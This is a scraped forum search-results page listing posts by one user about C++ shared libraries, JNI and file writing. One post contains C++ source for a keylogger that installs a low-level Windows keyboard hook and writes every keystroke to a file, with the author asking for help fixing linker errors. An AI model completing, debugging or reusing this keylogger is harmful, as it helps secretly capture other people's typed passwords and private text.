Search Results

Search found 4 results on 1 pages for 'navinbecse'.

Page 1/1 | 1 

  • creating a shared library from c++ source file

    - by navinbecse
    when I tried to create a shared library file using the "cl" command in the vc++ command prompt, it shows a error saying "Can't open include file "jni.h": No such file or directory"... the jni.h is tried to be included in the machine generated header file from java class... i am using this for java navite interface operations... can any one help me...

    Read the article

  • Calling fuctions of header file

    - by navinbecse
    i want to know the way i am calling the methods defined in windows.h from c++ program is correct or wrong.. when i tried to get the library files out of it, it is showing the errors saying that unresolved methods... i am using this for jni purpose... #define _WIN32_WINNT 0x0500 #include "keylogs.h" #include <fstream #include <windows.h using namespace std; ofstream out("C:\Users\402100\Desktop\keyloggerfile.txt", ios::out); LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p-vkCode) { // Invisible keys case VK_CAPITAL: out << ""; break; case VK_SHIFT: out << ""; break; case VK_LCONTROL: out << ""; break; case VK_RCONTROL: out << ""; break; case VK_INSERT: out << ""; break; case VK_END: out << ""; break; case VK_PRINT: out << ""; break; case VK_DELETE: out << ""; break; case VK_BACK: out << ""; break; case VK_SPACE: out << ""; break; case VK_RMENU: out << ""; break; case VK_LMENU: out << ""; break; case VK_LEFT: out << ""; break; case VK_RIGHT: out << ""; break; case VK_UP: out << ""; break; case VK_DOWN: out << ""; break; // Visible keys default: out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } JNIEXPORT void JNICALL Java_keylog_Main_CallerMethod(JNIEnv *env, jobject) { HINSTANCE hInstance=GetModuleHandle(0); HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); out.close(); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { // Set windows hook return 0; } The errors which i am getting is... file.obj : error LNK2019: unresolved external symbol _imp_CallNextHookEx@16 re ferenced in function "long __stdcall keyboardHookProc(int,unsigned int,long)" (? keyboardHookProc@@YGJHIJ@Z) file.obj : error LNK2019: unresolved external symbol _imp_MessageBoxA@16 refer enced in function "class std::basic_string,cl ass std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA?AV?$ba sic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) file.obj : error LNK2019: unresolved external symbol _imp_SetWindowsHookExA@16 referenced in function "class std::basic_string,class std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA? AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) c:\Users\402100\Desktop\oldfile.dll : fatal error LNK1120: 3 unresolved externals can any one help me please....

    Read the article

  • writing string into file before calling the close()

    - by navinbecse
    I am using ofstream() to write data into file, i want to program to perform such a way that it should be keep on writting the string into the file as soon as the value gets assingned to string variable, and it should be writting before calling the close() for the buffer and while the program runs itself. can anyone help me to do that in c++.........

    Read the article

1